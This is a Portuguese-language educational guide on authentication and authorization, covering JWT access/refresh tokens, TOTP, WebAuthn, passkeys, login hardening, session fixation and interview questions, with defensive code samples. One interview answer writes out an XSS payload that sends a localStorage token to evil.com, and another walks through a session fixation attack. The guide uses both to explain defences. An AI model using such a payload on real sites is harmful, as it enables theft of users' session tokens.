Autenticação e autorização são as duas perguntas fundamentais de segurança de acesso, frequentemente confundidas até em documentação técnica de produtos maduros. Autenticação responde "quem é você?" — o processo de verificar que uma identidade é quem afirma ser. Autorização responde "o que você pode fazer?" — o processo de verificar que uma identidade autenticada tem permissão para executar uma ação específica sobre um recurso específico. As duas são distintas, acontecem em sequência, e têm superfícies de ataque completamente diferentes.
A confusão prática é que os dois processos frequentemente compartilham infraestrutura — o mesmo token JWT carrega tanto a identidade (autenticação) quanto os papéis (autorização). Mas isso não significa que são a mesma coisa. Um usuário autenticado mas não autorizado deve receber 403 Forbidden, não 401 Unauthorized. Um usuário não autenticado deve receber 401 Unauthorized, com um header WWW-Authenticate indicando como autenticar. Essa distinção de código de status não é pedantismo de protocolo — é informação que o cliente usa para tomar a ação correta.
Este conceito cobre os mecanismos de autenticação em profundidade: session-based vs token-based, os fatores de autenticação e sua resistência a ataques, MFA com TOTP e WebAuthn/FIDO2, e a emergência de passkeys como substituto de senha. A autorização — modelos RBAC, ABAC e ReBAC — tem conceito próprio no número 06, já que a profundidade que o tema merece não cabe aqui.
Session-based vs token-based — a escolha de onde o estado fica
A autenticação traditional na web é session-based: após login bem-sucedido, o servidor cria uma sessão com ID aleatório de alta entropia, persiste o estado da sessão (user_id, expiração, dados de contexto) no servidor, e envia o ID da sessão ao cliente via cookie HttpOnly; Secure; SameSite=Strict. Em cada requisição subsequente, o cliente envia o cookie, o servidor busca a sessão pelo ID, e o usuário está autenticado. Invalidação é imediata: deletar a sessão do servidor é suficiente.
A autenticação token-based — popularizada com a ascensão de SPAs e APIs consumidas por clientes mobile — coloca o estado no token. Um JWT assinado contém a identidade e os metadados necessários; qualquer servidor com a chave pública consegue validar o token sem consultar banco. Isso é o que torna JWT atraente para sistemas distribuídos: zero latência de lookup, zero dependência de storage compartilhado entre instâncias. O custo é a revogação: um token válido não pode ser invalidado antes de expirar sem algum mecanismo centralizado.
A escolha entre session e token não é sobre qual é "mais moderno" — é sobre onde você quer que o estado de autenticação viva. Sessions vivem no servidor (fácil de revogar, requer storage compartilhado entre instâncias). Tokens vivem no cliente (sem storage central, revogação complicada). A decisão deve ser guiada por requisitos de revogação e topologia de implantação, não por preferência de framework.
Na prática, a solução mais adotada em sistemas modernos que precisam de tokens é o par access token + refresh token: o access token é um JWT de curta duração (15 minutos), stateless, que o cliente envia em cada requisição; o refresh token é de longa duração (7-30 dias), opaco, armazenado no servidor e enviado pelo cliente apenas para renovar o access token. Isso limita a janela de abuso de um access token vazado a 15 minutos, sem exigir blocklist de tokens de acesso — apenas do refresh token em caso de logout explícito.
// Ciclo de vida completo — Node.js com assimetria RS256
import jwt from 'jsonwebtoken';
import { randomBytes } from 'crypto';
// Login bem-sucedido
async function createTokenPair(userId: string) {
const accessToken = jwt.sign(
{ sub: userId, type: 'access' },
process.env.JWT_PRIVATE_KEY, // chave RSA privada
{ algorithm: 'RS256', expiresIn: '15m', issuer: 'api.app.com', audience: 'app.com' }
);
const refreshToken = randomBytes(32).toString('hex'); // opaco, alta entropia
await db.refreshTokens.create({
token: hashToken(refreshToken), // armazenar hash, não o token em claro
userId,
expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
});
return { accessToken, refreshToken };
}
// Renovação — validar refresh, emitir novo access
async function refresh(refreshToken: string) {
const stored = await db.refreshTokens.findOne({ token: hashToken(refreshToken) });
if (!stored || stored.expiresAt < new Date()) throw new Error('invalid refresh token');
// Rotation: invalidar o refresh token usado e emitir um novo par
await db.refreshTokens.delete({ token: hashToken(refreshToken) });
return createTokenPair(stored.userId);
}
Fatores de autenticação — o que "algo que você sabe/tem/é" significa na prática
A classificação clássica de fatores de autenticação vem da teoria de segurança física adaptada para sistemas digitais:
- Conhecimento (algo que você sabe): senha, PIN, resposta a pergunta secreta. O fator mais fraco porque pode ser adivinhado, roubado via phishing, reutilizado em múltiplos serviços, ou vazado em breaches. Senhas fortes e únicas por serviço são o mínimo; gestores de senha (Bitwarden, 1Password, Dashlane) são a forma de tornar isso escalável para humanos.
- Posse (algo que você tem): smartphone com app de autenticação, chave de hardware (YubiKey), SIM card para SMS. Mais forte que conhecimento porque requer acesso físico ou comprometimento do dispositivo. SMS é o fator de posse mais fraco: vulnerável a SIM swapping (atacante convence a operadora a transferir o número) e interceptação de rede.
- Inherência (algo que você é): biometria — impressão digital, face ID, íris, voz. Conveniente mas com implicações de privacidade: biometria não pode ser trocada como uma senha. Em implementações de software, a biometria é usada localmente no dispositivo para desbloquear uma chave criptográfica — o servidor nunca recebe os dados biométricos.
Multi-factor authentication (MFA) combina pelo menos dois fatores de categorias diferentes. Senha + SMS é MFA, mas fraco — SIM swapping é um vetor real. Senha + TOTP (app de autenticação) é mais forte. Senha + chave de hardware (WebAuthn/FIDO2) é o padrão mais robusto disponível hoje para autenticação de usuário, resistente a phishing por design.
TOTP — Time-based One-Time Password
TOTP (RFC 6238) é o algoritmo por trás dos apps Google Authenticator, Authy, e Microsoft Authenticator. O mecanismo é elegante: durante o setup, servidor e cliente compartilham um segredo (uma sequência de bytes aleatórios, geralmente apresentada como QR code em base32). Para gerar o código de 6 dígitos, ambos calculam HOTP(segredo, floor(unix_timestamp / 30)) — um HMAC-SHA1 do segredo com o período de tempo atual como contador. Como ambos têm o mesmo segredo e o mesmo relógio, chegam ao mesmo resultado sem comunicação. O código muda a cada 30 segundos; o servidor aceita o período atual e os períodos adjacentes para tolerar desfasamento de relógio.
# Python — geração e verificação TOTP sem biblioteca externa
import hmac, hashlib, struct, time, base64
def hotp(secret_base32: str, counter: int) -> int:
secret = base64.b32decode(secret_base32.upper())
msg = struct.pack('>Q', counter) # 8 bytes big-endian
h = hmac.new(secret, msg, hashlib.sha1).digest()
offset = h[-1] & 0x0F
code = struct.unpack('>I', h[offset:offset+4])[0]
return (code & 0x7FFFFFFF) % 1_000_000 # 6 dígitos
def totp(secret_base32: str, window: int = 1) -> list[int]:
t = int(time.time()) // 30
return [hotp(secret_base32, t + i) for i in range(-window, window+1)]
def verify_totp(secret_base32: str, code: int) -> bool:
return code in totp(secret_base32)
TOTP é resistente a reutilização do código (cada código é válido apenas uma vez dentro da janela de 30 segundos) mas vulnerável a phishing em tempo real: um site falso pode capturar credencial e código TOTP e usá-los imediatamente antes de expirarem. WebAuthn resolve isso.
WebAuthn e FIDO2 — autenticação resistente a phishing
WebAuthn (Web Authentication API, W3C Recommendation 2019) é o padrão que transformou o hardware de segurança em commodity. Com WebAuthn, o autenticador (YubiKey, Face ID, Windows Hello, ou qualquer dispositivo FIDO2) gera um par de chaves assimétricas por site — nunca reutiliza a mesma chave entre diferentes origens. O servidor armazena a chave pública; a privada nunca sai do dispositivo.
O mecanismo de login: o servidor envia um challenge (nonce aleatório) junto com o origin do site. O autenticador assina o challenge com a chave privada correspondente àquele origin e retorna a assinatura. O servidor verifica com a chave pública que registrou. A resistência a phishing é estrutural: a chave privada é vinculada ao origin app.com — o autenticador recusa assinar para app-phishing.com, mesmo que o HTML seja idêntico. O protocolo garante que o usuário não pode ser enganado a autenticar no site errado.
// WebAuthn registration — browser (simplificado)
const credential = await navigator.credentials.create({
publicKey: {
challenge: new Uint8Array(serverChallenge), // bytes do servidor
rp: { name: "Minha App", id: "app.com" },
user: { id: userId, name: email, displayName: name },
pubKeyCredParams: [
{ type: "public-key", alg: -7 }, // ES256 (P-256)
{ type: "public-key", alg: -257 }, // RS256
],
authenticatorSelection: {
userVerification: "required", // exige PIN ou biometria
residentKey: "preferred", // passkey behavior
},
timeout: 60000,
}
});
// Enviar credential.response para o servidor para armazenar a chave pública
Passkeys — senhas sem senha
Passkeys são credenciais WebAuthn sincronizadas na nuvem — armazenadas no keychain do iCloud, Google Password Manager, ou 1Password — que permitem autenticação FIDO2 em múltiplos dispositivos sem hardware dedicado. O usuário desbloqueia o dispositivo com biometria ou PIN, e o sistema usa a chave privada correspondente ao site para autenticar. Não há senha para lembrar, reutilizar, ou vazar em phishing.
A adoção é acelerada: Apple (iOS 16/macOS Ventura, 2022), Google (Android 9+, Chrome), e Microsoft (Windows Hello) suportam passkeys. A Apple demonstrou em 2022 que o tempo médio de login com passkey é 3x mais rápido que com senha + TOTP, com taxa de sucesso significativamente maior. Para sistemas novos sem legado de base de usuários, passkeys como fator primário (com senha como fallback para dispositivos sem suporte) é a direção da indústria.
O objetivo de longo prazo da autenticação é eliminar senhas, não adicionarmos mais fatores em cima delas. Passkeys não são MFA — são autenticação de fator único mais forte que senha + TOTP porque são resistentes a phishing por design e não dependem de segredo compartilhado que pode vazar. A hierarquia de força: chave de hardware > passkey > TOTP > SMS > senha sozinha.
Fluxos de autenticação — o que o servidor deve verificar
Independente do mecanismo de autenticação, o servidor deve aplicar as mesmas verificações fundamentais antes de emitir qualquer sessão ou token:
- Rate limiting no endpoint de login: máximo de tentativas por IP e por conta em janelas de tempo. Credential stuffing usa IPs distribuídos — rate limit por conta (5 tentativas em 5 minutos bloqueiam conta por 15 minutos) é mais efetivo que por IP.
- Timing constante na verificação de senha: use funções de comparação seguras (
hmac.compare_digestem Python,CryptographicOperations.FixedTimeEqualsem C#) para evitar timing attacks que revelam se o usuário existe. - Não revelar se o usuário existe: o erro deve ser "credenciais inválidas" independentemente de o email não existir ou a senha estar errada. Erros distintos facilitam enumeração de usuários.
- Breached password detection: na criação e na troca de senha, verificar a senha proposta contra listas de vazamentos. A API do HaveIBeenPwned usa k-anonymity (os primeiros 5 caracteres do SHA-1 da senha são enviados; o servidor retorna hashes com esse prefixo) — nenhum dado sensível é transmitido.
// C# — verificação de senha com timing constante e rate limit
public async Task<AuthResult> AuthenticateAsync(string email, string password)
{
// Rate limit por conta — independente do resultado
if (await _rateLimiter.IsBlockedAsync($"login:{email}"))
return AuthResult.TooManyAttempts();
var user = await _users.FindByEmailAsync(email);
// Hash dummy para garantir timing constante mesmo quando usuário não existe
var storedHash = user?.PasswordHash ?? _dummyHash;
var isValid = _passwordHasher.VerifyPassword(storedHash, password)
&& user is not null; // short-circuit só após verificação completa
await _rateLimiter.RecordAttemptAsync($"login:{email}", success: isValid);
if (!isValid) return AuthResult.InvalidCredentials(); // mesma mensagem sempre
return AuthResult.Success(user!);
}
Autorização — o problema separado
Autenticação bem-sucedida estabelece identidade. O que essa identidade pode fazer é autorização — e as duas falham de formas completamente diferentes. Autenticação falha quando credenciais são comprometidas ou o mecanismo de verificação tem vulnerabilidades. Autorização falha quando a lógica de negócio não implementa corretamente as regras de acesso.
Os erros de autorização mais comuns são de dois tipos. O primeiro é autorização ausente: o desenvolvedor implementa autenticação no middleware mas esquece de verificar autorização no handler específico — "o usuário está logado, então pode ver qualquer documento". O segundo é autorização no lugar errado: verificação no frontend que o backend não repete — "o botão de deletar só aparece para admin" sem verificação no endpoint DELETE.
O princípio correto é deny by default: a postura padrão de qualquer endpoint é "negado", e a autorização é uma lista explícita de o que cada identidade pode fazer. Qualquer endpoint que não tem política de autorização explícita deve retornar 403 para qualquer chamada — não 200, não 401. O custo de negar acesso legítimo é um bug a corrigir; o custo de conceder acesso indevido é uma violação de dados.
Verificar autorização apenas no endpoint pai e não nas operações aninhadas. Um usuário autorizado a ler /projects/{id} não é automaticamente autorizado a ler /projects/{id}/members/{userId}. Cada recurso aninhado tem suas próprias regras de acesso — e essas regras precisam ser verificadas explicitamente, não herdadas implicitamente da autorização do recurso pai.
Gestão de sessão — o que vai errado depois do login
Autenticação bem-sucedida emite uma sessão ou token que precisa ser gerenciado pelo tempo de vida da autenticação. Os problemas mais comuns nessa fase:
- Session não invalidada após logout: o cliente deleta o cookie localmente, mas o servidor não invalida a sessão. O mesmo ID de sessão continua válido até o timeout natural. Um atacante que capturou o session ID antes do logout ainda pode usar.
- Session fixation: o servidor usa o mesmo session ID antes e depois do login. Um atacante que injeta um session ID conhecido no cliente (via XSS ou manipulação de cookie) autentica com suas credenciais e herda a sessão pré-conhecida.
- Timeout insuficiente: sessões sem timeout ou com timeout muito longo (semanas) mantêm risco aberto por longamente.
- Token em localStorage: JWTs armazenados em localStorage são acessíveis por JavaScript — qualquer XSS no domínio captura o token. Tokens devem ser armazenados em cookies
HttpOnly(inacessíveis ao JavaScript) comSameSite=StricteSecure.
O controle para session fixation é sempre gerar um novo session ID após autenticação bem-sucedida — nunca reaproveitar o ID que existia pré-login. Em frameworks como Express.js com express-session, isso é req.session.regenerate(); em ASP.NET Core, o comportamento correto é garantido pelo middleware de autenticação se configurado corretamente.
Decisões de Engenharia
Session-based vs token-based — quando usar cada um?
Sessions são a escolha certa quando: (1) você precisa de revogação imediata (logout força logout em todos os dispositivos); (2) a aplicação é server-rendered sem API separada; (3) o sistema não tem múltiplos serviços que precisam validar o mesmo token. Tokens (JWT) fazem sentido quando: (1) múltiplos serviços precisam validar autenticação sem consulta centralizada; (2) clients são mobile ou SPA consumindo API; (3) você tem arquitetura sem estado por design. O par access+refresh token combina as vantagens: stateless para validação, revogação via refresh token.
TOTP vs WebAuthn/passkey para MFA — o que recomendar?
Para novos sistemas sem base de usuários legacy: passkeys como fator primário (com senha como fallback), sem TOTP. Para sistemas com base existente: TOTP como MFA é o mínimo aceitável — migre para WebAuthn/passkeys progressivamente. Nunca SMS como único segundo fator: SIM swapping é um vetor real documentado em ataques a contas de alto valor. A hierarquia de força: chave física (YubiKey) > passkey sincronizado > TOTP (app) > SMS. Cada nível acima é significativamente mais resistente a phishing.
JWT em cookie HttpOnly vs localStorage — onde armazenar?
Cookie HttpOnly; Secure; SameSite=Strict é sempre a resposta correta para tokens de sessão: inacessível ao JavaScript (imune a XSS), enviado automaticamente pelo browser, protegido contra CSRF via SameSite. localStorage é acessível por qualquer JavaScript no domínio — um XSS captura o token instantaneamente. O argumento "cookie não funciona para mobile" é falso: cookies funcionam em apps mobile que usam WebView ou requisições HTTP. A única exceção real é APIs consumidas por clientes que não gerenciam cookies (ex: servidor para servidor), onde o token em header Authorization é adequado.
Rotação de refresh token vs sliding session — qual estratégia?
Rotação de refresh token (cada uso emite um novo par e invalida o anterior) é mais segura: se um refresh token vazado for usado, o próximo uso pelo cliente legítimo falha (o token já foi rotacionado), e isso pode ser detectado como sinal de comprometimento. Sliding session (cada uso estende o timeout por mais N dias) é mais simples mas não detecta uso paralelo. Para sistemas com requisitos de segurança elevados (bancário, saúde): rotação + detecção de reuse (se o mesmo refresh token é usado duas vezes, revogar toda a família de tokens do usuário). Para SaaS padrão: rotação simples com TTL de 30 dias.
Perguntas de Entrevista
Qual a diferença entre autenticação e autorização? Dê um exemplo de como cada uma pode falhar independentemente da outra.
Autenticação responde "quem é você?" — verifica que a identidade que afirma ser o usuário X é de fato o usuário X. Falha quando as credenciais são comprometidas (phishing, breach, credential stuffing), quando o mecanismo de verificação tem vulnerabilidades (JWT sem validação de algoritmo, token com baixa entropia), ou quando o processo de recuperação de conta tem falhas (email de reset sem expiração, perguntas de segurança adivinháveis).
Autorização responde "o que você pode fazer?" — verifica que o usuário autenticado X tem permissão para executar a ação A no recurso R. Falha quando o backend não verifica ownership (IDOR), quando a verificação acontece só no frontend, quando papéis são concedidos generosamente demais, ou quando a lógica de autorização é fragmentada e inconsistente entre endpoints.
Exemplo de falha isolada: um sistema com 2FA bem implementado (autenticação forte) pode ter IDOR em todos os endpoints (autorização falha). Um usuário autenticado corretamente ainda consegue acessar dados de qualquer outro usuário trocando o ID na URL. A autenticação funcionou perfeitamente; a autorização nunca foi implementada. O inverso também existe: um sistema com RBAC granular (autorização forte) mas que aceita tokens JWT sem verificar a assinatura (autenticação falha) — qualquer um pode forjar um token com qualquer papel.
Explique o par access token + refresh token. Por que o refresh token é opaco e armazenado no servidor, enquanto o access token é stateless?
O par resolve uma tensão fundamental: tokens stateless (JWT) não podem ser revogados antes de expirar — qualquer servidor com a chave pública os aceita. Tokens com revogação requerem lookup central em cada requisição, eliminando o benefício de stateless.
A solução do par: o access token é um JWT de curta duração (15 minutos), stateless, validado sem consulta ao banco. Se vazado, fica explorável apenas por 15 minutos. O refresh token é opaco (bytes aleatórios de alta entropia), armazenado com hash no banco, e usado apenas para renovar o par — não para acessar recursos. Sua validade é longa (30 dias) mas verificada em banco a cada uso: se o usuário faz logout ou o token é suspeito de comprometimento, o servidor deleta o refresh token e o próximo uso falha imediatamente.
Por que opaco e não outro JWT? Um JWT como refresh token seria autossuficiente — o servidor não precisaria consultá-lo no banco. Isso elimina a capacidade de revogação. Um token opaco só é válido se existir no banco. Armazenar o hash (não o token em claro) protege contra vazamento do banco: mesmo com acesso ao banco, o atacante tem o hash SHA-256 — não o token que o cliente envia.
O que é TOTP e por que é mais forte que SMS mas mais fraco que WebAuthn para MFA?
TOTP (RFC 6238) gera códigos de 6 dígitos derivados de um segredo compartilhado e do timestamp atual dividido em janelas de 30 segundos. Como o segredo está no app de autenticação (não no servidor de SMS), não depende da operadora telefônica — imune a SIM swapping. Mais forte que SMS por esse motivo.
A fraqueza do TOTP é a vulnerabilidade a phishing em tempo real: um site falso pode capturar email + senha + código TOTP e usá-los imediatamente (dentro dos 30 segundos de validade). O atacante opera um proxy reverso — o usuário acha que está autenticando em banco.com, está autenticando em banco-atualização.com que retransmite tudo em tempo real para o banco real. O usuário vê a tela real, o atacante obtém a sessão autenticada.
WebAuthn/FIDO2 é resistente a phishing por design: a chave privada é vinculada ao origin (banco.com) durante o registro. Quando o protocolo autentica, o autenticador verifica que o origin do pedido é exatamente banco.com — o site falso (banco-atualização.com) recebe recusa. O protocolo garante que o par de chaves nunca é reutilizado entre origens diferentes, tornando o phishing estruturalmente impossível — não apenas improvável.
O que é session fixation e como o ataque funciona? Como prevenir?
Session fixation é um ataque onde o adversário faz o cliente usar um session ID que o adversário já conhece — assim, quando o cliente se autentica com esse ID fixado, o adversário pode usar o mesmo ID para acessar a sessão autenticada sem conhecer as credenciais.
O ataque clássico: (1) o atacante acessa o site e obtém um session ID pré-autenticação, ex: sess=abc123; (2) o atacante injeta esse ID no cliente da vítima via XSS, link manipulado (?PHPSESSID=abc123), ou subdomínio com escrita de cookie; (3) a vítima autentica com suas credenciais usando o cookie abc123; (4) o servidor associa a autenticação ao ID já existente; (5) o atacante usa sess=abc123 — que agora está autenticado como a vítima.
A prevenção é simples e obrigatória: sempre regenerar o session ID após autenticação bem-sucedida. Em Express.js: req.session.regenerate(callback); em PHP: session_regenerate_id(true); em ASP.NET Core: o middleware de autenticação faz isso se configurado corretamente. O novo session ID não pode ser previsto ou fixado pelo atacante. Adicionalmente, cookies com SameSite=Strict bloqueiam a maioria dos vetores de injeção de cookie via link externo.
Por que armazenar JWT em localStorage é um antipadrão de segurança? Qual é a alternativa correta e suas trade-offs?
localStorage (e sessionStorage) é acessível por qualquer JavaScript executando no domínio — incluindo scripts de terceiros (analytics, CDNs), extensões de browser, e qualquer XSS. Um único XSS no domínio permite fetch('https://evil.com/?t=' + localStorage.getItem('access_token')) — o token é exfiltrado imediatamente, silenciosamente, sem nenhum artefato visível. O atacante então tem o JWT válido até sua expiração, podendo usá-lo de qualquer lugar.
A alternativa correta é cookie HttpOnly; Secure; SameSite=Strict: HttpOnly torna o cookie inacessível ao JavaScript — document.cookie não o retorna, nenhum script pode lê-lo. SameSite=Strict impede que o browser envie o cookie em requisições cross-site, bloqueando CSRF. Secure garante que o cookie só é enviado em HTTPS.
O trade-off: cookies com SameSite=Strict não são enviados em requisições iniciadas por links externos (ex: usuário clica em link de email que vai para a aplicação) — o usuário aparece como não autenticado na primeira carga. SameSite=Lax resolve isso para navegação normal mas é menos restritivo. Para APIs consumidas por clientes mobile nativos (não WebView), cookies não são gerenciados automaticamente — token em memória volátil da app (não em storage persistente) é a alternativa.
Como praticar
-
Implementar o par access token + refresh token do zero. Em qualquer linguagem, implemente: endpoint de login que emite JWT RS256 (15 min) + refresh token opaco armazenado com SHA-256 no banco, endpoint
/auth/refreshcom rotação do par, e/auth/logoutque invalida o refresh token. Inclua rate limiting por email com backoff exponencial.
Critério: Refresh token é armazenado como hash (não em claro) no banco; após logout, o mesmo refresh token é rejeitado com 401; rate limit bloqueia a conta após 5 tentativas falhas em 5 minutos, não apenas por IP; o JWT usa RS256 (não HS256) com par de chaves assimétrico. -
Adicionar TOTP a uma API existente. Implemente geração de segredo com QR code para setup (biblioteca
pyotp,otp.NET, oupquerna/otp), verificação com janela de ±1 período, e marcação de "TOTP verificado" na sessão para não pedir a cada requisição. Teste com clock skew de 60 segundos.
Critério: QR code é escaneável pelo Google Authenticator ou Authy e gera códigos válidos; código de 30 segundos atrás é aceito (janela de tolerância), código de 120 segundos atrás é rejeitado; o segredo nunca aparece em logs. -
Auditar cookies de sessão de uma aplicação que você controla. Abra DevTools → Application → Cookies. Verifique:
HttpOnly,Secure,SameSite, tempo de expiração, e se o cookie é válido no servidor após logout. Teste session fixation: anote o session ID pré-login e verifique se muda após login bem-sucedido.
Critério: Lista de pelo menos 3 gaps encontrados com severidade; se o session ID não muda após login, implementarregenerate()e verificar que a falha foi corrigida; documentar se a sessão expira no servidor (não apenas no cliente) após timeout. -
Implementar WebAuthn em uma aplicação de teste. Use as bibliotecas
SimpleWebAuthn(Node.js) ouwebauthn4j(Java) para implementar registro e autenticação via passkey. Registre uma credencial com biometria do dispositivo e autentique sem senha.
Critério: Registro salva a chave pública corretamente e rejeita o mesmo authenticatorId duas vezes; autenticação verifica o challenge, o rpId, e a assinatura criptograficamente; tentar autenticar com o challenge errado (replay attack) resulta em 401. -
Implementar breached password detection no cadastro. Integre a API de senhas comprometidas do HaveIBeenPwned usando k-anonymity: compute SHA-1 da senha, envie os primeiros 5 caracteres, verifique se o hash completo está na lista retornada. Bloqueie senhas com mais de 10 ocorrências em breaches.
Critério: A senha123456é rejeitada no cadastro; senhas únicas e aleatórias são aceitas; o código nunca envia a senha completa nem o hash completo para a API externa; a verificação funciona mesmo sem conexão com a API (fallback gracioso, não bloqueio de cadastro).
Referências para aprofundar
- docs Web Authentication API (WebAuthn) — W3C Recommendation.
- docs FIDO2 / Passkeys — FIDO Alliance.
- docs OWASP Authentication Cheat Sheet — OWASP Foundation.
- docs OWASP Session Management Cheat Sheet — OWASP Foundation.
- article TOTP RFC 6238 — M'Raihi et al. (IETF, 2011).
- article Passkeys: What the Heck and Why? — Troy Hunt (troyhunt.com, 2022).
- book Hacking APIs — Corey Ball (No Starch, 2022).
- article The Copenhagen Book — Web Application Auth — Pilcrow (pilcrowonpaper.com, 2024).
- video Password-less Authentication with WebAuthn — Google Chrome Developers (YouTube, 2023).
- paper The Science of Guessing: Analyzing an Anonymized Corpus of 70 Million Passwords — Joseph Bonneau (IEEE S&P 2012).
- book OAuth 2 in Action — Richer e Sanso (Manning, 2017).
- article k-Anonymity with HaveIBeenPwned Passwords API — Troy Hunt (troyhunt.com, 2018).